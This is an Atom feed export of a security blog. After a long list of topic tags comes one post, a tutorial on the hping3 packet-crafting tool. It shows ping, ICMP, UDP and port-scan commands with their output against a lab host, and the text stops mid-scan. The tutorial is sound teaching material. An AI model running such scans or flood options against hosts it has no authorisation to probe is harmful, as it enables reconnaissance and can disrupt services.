<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3150670366652300582</id><updated>2012-01-31T05:23:58.349+05:30</updated><category term='iPositiveSecurity'/><category term='p0f'/><category term='Stay Connected'/><category term='GPEN'/><category term='self-contained payloads'/><category term='Hack'/><category term='Authorization issue'/><category term='SQL Injection'/><category term='DIY'/><category term='CCIE Lab Changes'/><category term='Cisco'/><category term='Passed GCIH'/><category term='Passed GREM'/><category term='Web Testing Framework'/><category term='GWAPT Exam'/><category term='hping'/><category term='Web Application Penetration testing'/><category term='CISSP Study Plan'/><category term='IRC bots'/><category term='Incident Handling'/><category term='SANS 610'/><category term='single payloads'/><category term='bot analysis'/><category term='OWASP'/><category term='Identity Theft'/><category term='reverse engineering books'/><category term='Subscribe'/><category term='snmpget'/><category term='network tracing'/><category term='Crack CISSP'/><category term='service version scan'/><category term='CISSP Passed'/><category term='GCIH Exam'/><category term='ESPN Global Cross Site Scripting'/><category term='Choice'/><category term='Web based malware'/><category term='SPAM'/><category term='SSH'/><category term='GPEN Exam'/><category term='EasyFTP exploit'/><category term='Lenny Zeltser'/><category term='OS fingerprinting'/><category term='Remote Buffer Overflow'/><category term='Distributed Command n Control'/><category term='Full Disclosure'/><category term='malware unpacking tools'/><category term='Seagate Backdoor'/><category term='metasploit'/><category term='GCIH'/><category term='OWASP - WASC Mapping'/><category term='metasploit email campaign'/><category term='Proof of Concept'/><category term='Malware Reverse Engineering'/><category term='Vulnerability Disclosure'/><category term='Metasploit modules'/><category term='arp poison'/><category term='Unix Security'/><category term='metasploitable'/><category term='Exploit Published'/><category term='Botnets'/><category term='Attack tool'/><category term='Role Relevance'/><category term='OWASP Top 10'/><category term='Enforcement'/><category term='Capgemini Cross Site Scripting'/><category term='stager'/><category term='Exploit-db'/><category term='closed'/><category term='Uplus FTP exploit'/><category term='RainbowCrack'/><category term='SANS 504'/><category term='snmpwalk'/><category term='malware code analysis'/><category term='Meterpreter'/><category term='GREM'/><category term='using hping'/><category term='Fuzzing'/><category term='Oracle'/><category term='UDP scanning'/><category term='Twitter Attack 2009'/><category term='Bots'/><category term='Lynis'/><category term='corelan.be'/><category term='Vulnerability Assessment'/><category term='snmpset'/><category term='botnet spreader'/><category term='Patching malware'/><category term='ISC2'/><category term='malware behavior analysis tools'/><category term='probing'/><category term='CSRF'/><category term='CCIE Lab'/><category term='TVS XSS'/><category term='safaribooksonline.com'/><category term='Enumerating SNMP'/><category term='Metasploit Hacking'/><category term='Information Technology'/><category term='network sweeping'/><category term='standalone payloads'/><category term='arp spoofing'/><category term='Web Application Assessment'/><category term='slackbot'/><category term='spamming'/><category term='Worm'/><category term='Dynamic Request Forgery'/><category term='MTV'/><category term='Web Application Firewalls'/><category term='botnet lab'/><category term='reversing malware'/><category term='Penetration Testing'/><category term='MTV Cross Site Scripting'/><category term='Download videos'/><category term='MonkeyFist'/><category term='malware books'/><category term='Dissecting malware'/><category term='Welcome'/><category term='phishing'/><category term='Linux security'/><category term='Hash Tables'/><category term='network scan types'/><category term='Pass the Hash'/><category term='Cognizant Cross Site Scripting'/><category term='Brand value'/><category term='Code Execution'/><category term='Botnet paper'/><category term='metasploit auxiliary'/><category term='Database'/><category term='operation payback'/><category term='ESPIA'/><category term='Dilbert'/><category term='LiveCD'/><category term='Sourceforge'/><category term='SEH buffer overflow'/><category term='Monitoring'/><category term='Analysis'/><category term='GBM4IBM'/><category term='port scanning'/><category term='SANS 542'/><category term='iPositiveEnergy'/><category term='Exploits Published'/><category term='Security Posture Assessment'/><category term='Pivot'/><category term='SANS 560'/><category term='SQL'/><category term='CCIE'/><category term='snmpenum'/><category term='reversing malware cheat sheet'/><category term='Web Application Scanner'/><category term='Black Hat DC'/><category term='Comic'/><category term='Code Flaws'/><category term='CISSP Preparation'/><category term='remote shell'/><category term='Security Auditing Tool'/><category term='Passed GPEN'/><category term='Malware analysis'/><category term='Auxilary NBNS module'/><category term='41414141'/><category term='ESPN Cricinfo'/><category term='Sterlite SAM300AX'/><category term='To CISSP Aspirants'/><category term='Safari'/><category term='Payloads'/><category term='CISSP Exam Tips'/><category term='What Motivates us'/><category term='Passed GWAPT'/><category term='wepawet'/><category term='GBM XSS'/><category term='Neohaxor'/><category term='Sandcat'/><category term='Seagate vulnerability'/><category term='Policy'/><category term='wikileaks'/><category term='ESPN'/><category term='Command n Control'/><category term='hping3'/><category term='Mercedes Benz Cross Site Scripting'/><category term='network scanning'/><category term='Manual unpacking'/><category term='Cross Site Scripting'/><category term='openssl'/><category term='WASC Threat Classification'/><category term='Seagate Hack'/><category term='Post exploitation'/><category term='Poll'/><category term='IDA Pro'/><category term='HTTP Session Hijack'/><category term='agobot'/><category term='Meterpreter Extensions'/><category term='Botnets: The Silent Threat'/><category term='Web Application Security'/><category term='Meterpreter as a Service'/><category term='scanning'/><category term='sslstrip'/><category term='CTO Blog Capgemini XSS'/><category term='Blind SQL Injection'/><category term='PC MightyMax'/><category term='Hacking'/><category term='Quick Notes'/><category term='DojoSec'/><category term='XSS'/><category term='vulnerability scanning'/><category term='proftpd'/><category term='MediaCoder v0.7.5.4796 Local Buffer Overflow [ SEH ]'/><category term='malware code analysis tools'/><category term='Bugtraq'/><category term='Hacking Unix'/><category term='Netcat as backdoor'/><category term='Twitter'/><category term='DDoS'/><category term='CCIE Security'/><category term='CISSP'/><category term='RSS Feed'/><category term='snmp attack'/><category term='Auditing'/><category term='man hping'/><category term='TVS motors'/><category term='Hacking Training'/><category term='SamuraiWTF'/><category term='bot herder'/><category term='Analyzing packed malware executable'/><category term='Attack'/><category term='Scareware'/><category term='Information Security'/><category term='malware lab'/><category term='filtered'/><category term='Rainbow Tables'/><category term='Think MTV'/><category term='Cognizant'/><category term='ESPN Cricinfo Cross Site Scripting'/><category term='Inferno'/><category term='open'/><category term='Presentation'/><category term='GIAC'/><category term='metasploit campaign templates'/><category term='CSS History'/><category term='CISSP Resources'/><category term='Ethical Hacking'/><category term='botmaster'/><category term='Ollydbg'/><category term='Injection'/><category term='stage'/><category term='CISSP Study Advice'/><category term='spam mail'/><category term='nmap'/><category term='Cross Site Request Forgery'/><category term='Gulf Business Machines'/><category term='Input validation'/><category term='safari.vo.llnwd.net'/><category term='metasploit pro'/><category term='botnet tutorial'/><category term='exploit development'/><category term='Safaribooksonline'/><category term='Malware'/><category term='GREM Exam'/><category term='CSRF Token hack'/><category term='ASCII Chart'/><category term='Infrastructure Penetration'/><category term='Centralized Command n Control'/><category term='Web Application Security Assessment'/><category term='Exploits'/><category term='Botnet'/><category term='Session Hijacking'/><category term='Client-Side Exploitation'/><category term='rxbot'/><category term='behavior analysis'/><category term='Samurai'/><category term='Linux Auditing'/><category term='TCP scanning'/><title type='text'>iPositive Security</title><subtitle type='html'>Aum:</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>73</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-9018014109161945950</id><published>2012-01-31T05:23:00.002+05:30</published><updated>2012-01-31T05:23:58.384+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='hping'/><category scheme='http://www.blogger.com/atom/ns#' term='DIY'/><category scheme='http://www.blogger.com/atom/ns#' term='using hping'/><category scheme='http://www.blogger.com/atom/ns#' term='hping3'/><category scheme='http://www.blogger.com/atom/ns#' term='man hping'/><title type='text'>[DIY] Tools - Using Hping</title><content type='html'>&lt;br /&gt;&lt;div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Here's a quick hping usage tutorial.&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;From the man page:&lt;/div&gt;&lt;/span&gt;&lt;blockquote class="tr_bq" style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;a href="http://www.hping.org/" target="_blank"&gt;hping3&lt;/a&gt; is a network tool able to send custom TCP/IP packets and to display target replies like ping program does  with  ICMP  replies.  hping3  handle fragmentation, arbitrary packets body and size and can be used in order to transfer files encapsulated under supported protocols. Using hping3 you are able to perform at least the following stuff:&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;-&amp;nbsp;Test firewall rules&lt;br /&gt; - Advanced port scanning&lt;br /&gt; - Test net performance using different protocols,&amp;nbsp;packet size, TOS (type of service) and fragmentation.&lt;br /&gt; - Path MTU discovery&lt;br /&gt; - Transferring files between even really fascist firewall&amp;nbsp;rules.&lt;br /&gt; - Traceroute-like under different protocols.&lt;br /&gt; - Firewalk-like usage.&lt;br /&gt; - Remote OS fingerprinting.&lt;br /&gt; - TCP/IP stack auditing.&lt;br /&gt; - A lot of others.&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;Refer to &lt;i&gt;man hping3&lt;/i&gt; and &lt;i&gt;hping3 --help&lt;/i&gt; for detailed options &amp;amp; switches.&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Let's start with some common base options which are pretty self-explanatory &amp;amp; then move on to modes et all:&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;span style="color: yellow;"&gt;hping3 --help&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;usage: hping3 host [options]&lt;br /&gt;  -h  --help      show this help&lt;br /&gt;  -v  --version   show version&lt;br /&gt;  -c  --count     packet count&lt;br /&gt;  -i  --interval  wait (uX for X microseconds, for example -i u1000)&lt;br /&gt;      --fast      alias for -i u10000 (10 packets for second)&lt;br /&gt;      --faster    alias for -i u1000 (100 packets for second)&lt;br /&gt;      --flood   sent packets as fast as possible. Don't show replies.&lt;br /&gt;  -n  --numeric   numeric output&lt;br /&gt;  -q  --quiet     quiet&lt;br /&gt;  -I  --interface interface name (otherwise default routing interface)&lt;br /&gt;  -V  --verbose   verbose mode&lt;br /&gt;  -D  --debug     debugging info&lt;/span&gt;&lt;br /&gt;...snip...&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;I would like to mention one switch in the IP options category: &lt;span style="color: magenta;"&gt;--rand-source&lt;/span&gt;. This hping switch selects the source address of all packets randomly. This can therefore, be used to do (stress) testing stateful firewalls. But it can also potentially fill up the state table, in turn causing legit users &amp;amp; traffic to drop off. So, need to keep this when using this option.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif; text-align: justify;"&gt;Okay, moving on.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;By default, hping sends TCP packets with no tcp flags set, and target host's port 0, continuously. A target system will respond with a RST packet, confirming that it is live.&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 172.72.5.139&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;HPING 172.72.5.139 (vmnet1 172.72.5.139): NO FLAGS are set, 40 headers + 0 data bytes&lt;br /&gt;len=40 ip=172.72.5.139 ttl=128 id=32996 sport=0 flags=RA seq=0 win=0 rtt=13.4 ms&lt;br /&gt;len=40 ip=172.72.5.139 ttl=128 id=32997 sport=0 flags=RA seq=1 win=0 rtt=0.7 ms&lt;br /&gt;len=40 ip=172.72.5.139 ttl=128 id=32998 sport=0 flags=RA seq=2 win=0 rtt=0.4 ms&lt;br /&gt;^C&lt;br /&gt;--- 172.72.5.139 hping statistic ---&lt;br /&gt;3 packets transmitted, 3 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.4/4.8/13.4 ms&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;There are several modes that we can use hping in. Default mode is TCP.&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 --help&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;usage: hping3 host [options]&lt;br /&gt;...&lt;br /&gt;snip&lt;br /&gt;...&lt;br /&gt;Mode&lt;br /&gt;&amp;nbsp; default mode     TCP&lt;br /&gt;&amp;nbsp; -0  --rawip      RAW IP mode&lt;br /&gt;&amp;nbsp; -1  --icmp       ICMP mode&lt;br /&gt;&amp;nbsp; -2  --udp        UDP mode&lt;br /&gt;&amp;nbsp; -8  --scan       SCAN mode.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Example: hping --scan 1-30,70-90 -S www.target.host&lt;br /&gt;&amp;nbsp; -9  --listen     listen mode&lt;/span&gt;&lt;br /&gt;...&lt;br /&gt;snip&lt;br /&gt;...&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;RAW IP mode&lt;/b&gt; sends the packets without a TCP or UDP headers. To send raw IP packets to target, use the &lt;span style="color: magenta;"&gt;-0&lt;/span&gt; or &lt;span style="color: magenta;"&gt;--rawip&lt;/span&gt; switch:&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 --rawip 172.72.5.139&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;HPING 172.72.5.139 (vmnet1 172.72.5.139): raw IP mode set, 20 headers + 0 data bytes&lt;br /&gt;^C&lt;br /&gt;--- 172.72.5.139 hping statistic ---&lt;br /&gt;19 packets transmitted, 0 packets received, 100% packet loss&lt;br /&gt;round-trip min/avg/max = 0.0/0.0/0.0 ms&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;As we see here, the target (&amp;amp; most systems) silently drops the raw ip packets.&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;With &lt;b&gt;ICMP mode&lt;/b&gt;, hping sends ICMP packets to the target. By default, ICMP echo-requests are sent.&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;span style="color: yellow;"&gt;hping3 --icmp 172.72.5.139&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;HPING 172.72.5.139 (vmnet1 172.72.5.139): icmp mode set, 28 headers + 0 data bytes&lt;br /&gt;len=28 ip=172.72.5.139 ttl=128 id=309 icmp_seq=0 rtt=3.8 ms&lt;br /&gt;len=28 ip=172.72.5.139 ttl=128 id=310 icmp_seq=1 rtt=0.6 ms&lt;br /&gt;len=28 ip=172.72.5.139 ttl=128 id=311 icmp_seq=2 rtt=0.4 ms&lt;br /&gt;^C&lt;br /&gt;--- 172.72.5.139 hping statistic ---&lt;br /&gt;3 packets transmitted, 3 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.4/1.6/3.8 ms&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;We can easily set other ICMP type/code by using &lt;span style="color: magenta;"&gt;-K&lt;/span&gt; / &lt;span style="color: magenta;"&gt;--icmptype&lt;/span&gt; or &lt;span style="color: magenta;"&gt;-C&lt;/span&gt; / &lt;span style="color: magenta;"&gt;--icmpcode&lt;/span&gt; switches.&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 --help&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;usage: hping3 host [options]&lt;/span&gt;...&lt;br /&gt;snip&lt;br /&gt;...&lt;br /&gt;&lt;span style="color: lime;"&gt;ICMP&lt;br /&gt;&amp;nbsp; -C  --icmptype   icmp type (default echo request)&lt;br /&gt;&amp;nbsp; -K  --icmpcode   icmp code (default 0)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; --force-icmp send all icmp types (default send only supported types)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; --icmp-help  display help for others icmp options&lt;/span&gt;&lt;br /&gt;...&lt;br /&gt;snip&lt;br /&gt;...&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;For example to use &lt;span style="color: magenta;"&gt;--icmptype&lt;/span&gt; as Timestamp / icmp type 13 code 0:&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 -c 3 --icmptype 13 172.72.5.139&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;HPING 172.72.5.139 (vmnet1 172.72.5.139): icmp mode set, 28 headers + 0 data bytes&lt;br /&gt;len=40 ip=172.72.5.139 ttl=128 id=321 icmp_seq=0 rtt=0.9 ms&lt;br /&gt;ICMP timestamp: Originate=78180467 Receive=1459333124 Transmit=1459333124&lt;br /&gt;ICMP timestamp RTT tsrtt=1&lt;br /&gt;len=40 ip=172.72.5.139 ttl=128 id=322 icmp_seq=1 rtt=0.4 ms&lt;br /&gt;ICMP timestamp: Originate=78181468 Receive=1056942084 Transmit=1056942084&lt;br /&gt;ICMP timestamp RTT tsrtt=1&lt;br /&gt;len=40 ip=172.72.5.139 ttl=128 id=323 icmp_seq=2 rtt=0.5 ms&lt;br /&gt;ICMP timestamp: Originate=78182468 Receive=637774084 Transmit=637774084&lt;br /&gt;ICMP timestamp RTT tsrtt=1&lt;br /&gt;--- 172.72.5.139 hping statistic ---&lt;br /&gt;3 packets transmitted, 3 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.4/0.6/0.9 ms&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Or use &lt;span style="color: magenta;"&gt;--icmpcode&lt;/span&gt; switch:&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 -c 2 --icmpcode 0 172.72.5.139&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;HPING 172.72.5.139 (vmnet1 172.72.5.139): icmp mode set, 28 headers + 0 data bytes&lt;br /&gt;len=28 ip=172.72.5.139 ttl=128 id=341 icmp_seq=0 rtt=0.5 ms&lt;br /&gt;len=28 ip=172.72.5.139 ttl=128 id=342 icmp_seq=1 rtt=0.4 ms&lt;br /&gt;--- 172.72.5.139 hping statistic ---&lt;br /&gt;2 packets transmitted, 2 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.4/0.5/0.5 ms&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;Of course, above example shows a ping [icmp type 8 code 0].&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Similarly for &lt;b&gt;UDP mode&lt;/b&gt;, &lt;span style="color: magenta;"&gt;-2&lt;/span&gt; or &lt;span style="color: magenta;"&gt;--udp&lt;/span&gt; switch is used. By default, packets will be sent to target host's port 0.&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 -c 2 --udp 172.72.5.139&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;HPING 172.72.5.139 (vmnet1 172.72.5.139): udp mode set, 28 headers + 0 data bytes&lt;br /&gt;ICMP Port Unreachable from ip=172.72.5.139 name=UNKNOWN&lt;br /&gt;   status=0 port=1067 seq=0&lt;br /&gt;ICMP Port Unreachable from ip=172.72.5.139 name=UNKNOWN&lt;br /&gt;   status=0 port=1068 seq=1&lt;br /&gt;--- 172.72.5.139 hping statistic ---&lt;br /&gt;2 packets transmitted, 2 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.6/500.5/1000.3 ms&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;So, we receive ICMP Port Unreachable, since there is no UDP service running / listening on the target.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Next is the &lt;b&gt;Scan Mode&lt;/b&gt;. We can turn to scan mode by using the &lt;span style="color: magenta;"&gt;-8&lt;/span&gt; or &lt;span style="color: magenta;"&gt;--scan&lt;/span&gt; switch. A port or range of ports or an alias is expected as an argument. There are 2 aliases supported currently - &lt;span style="color: magenta;"&gt;all&lt;/span&gt; and &lt;span style="color: magenta;"&gt;known&lt;/span&gt;. '&lt;i&gt;all&lt;/i&gt;' means all ports 0-65535; '&lt;i&gt;known&lt;/i&gt;' will use all the ports listed in &lt;i&gt;/etc/services &lt;/i&gt;file.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 -8 21,22,23,135,139,445 172.72.5.139&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: lime; font-family: Verdana, sans-serif;"&gt;Scanning 172.72.5.139 (172.72.5.139), port 21,22,23,135,139,445&lt;br /&gt;6 ports to scan, use -V to see all the replies&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;|port| serv name |  flags  |ttl| id  | win | len |&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;All replies received. Done.&lt;br /&gt;Not responding ports:&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;We did not receive any service identification or confirmation response back from the target host. Or at least we do not know the response details yet.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;We can use &lt;span style="color: magenta;"&gt;-V&lt;/span&gt; switch to get the response info.&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;/span&gt;&lt;span style="color: yellow; font-family: Verdana, sans-serif; font-size: x-small;"&gt;hping3 -8 21,22,23,135,139,445 172.72.5.139 -V&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;using vmnet1, addr: 172.72.5.1, MTU: 1500&lt;br /&gt;Scanning 172.72.5.139 (172.72.5.139), port 21,22,23,135,139,445&lt;br /&gt;6 ports to scan, use -V to see all the replies&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;|port| serv name |  flags  |ttl| id  | win | len |&lt;br /&gt;+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;&amp;nbsp; &amp;nbsp;21 ftp        : ..R.A... 128 44033     0    40&lt;br /&gt;&amp;nbsp; &amp;nbsp;22 ssh        : ..R.A... 128 44289     0    40&lt;br /&gt;&amp;nbsp; &amp;nbsp;23 telnet     : ..R.A... 128 44545     0    40&lt;br /&gt;&amp;nbsp; 135 loc-srv    : ..R.A... 128 44801     0    40&lt;br /&gt;&amp;nbsp; 139 netbios-ssn: ..R.A... 128 45057     0    40&lt;br /&gt;&amp;nbsp; 445 microsoft-d: ..R.A... 128 45313     0    40&lt;br /&gt;All replies received. Done.&lt;br /&gt;Not responding ports:&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Okay, it appears, that the target host is simply sending a RST ACK to all our scan packets.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Remember that by default, hping will NOT set any TCP flags - SYN, ACK, RST, PSH, URG, FIN. Let's set the SYN flag and scan again.&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:xd# &lt;span style="color: yellow;"&gt;hping3 -8 21,22,23,135,139,445 172.72.5.139 -V -S&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime; font-family: Verdana, sans-serif; font-size: x-small;"&gt;using vmnet1, addr: 172.72.5.1, MTU: 1500&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote 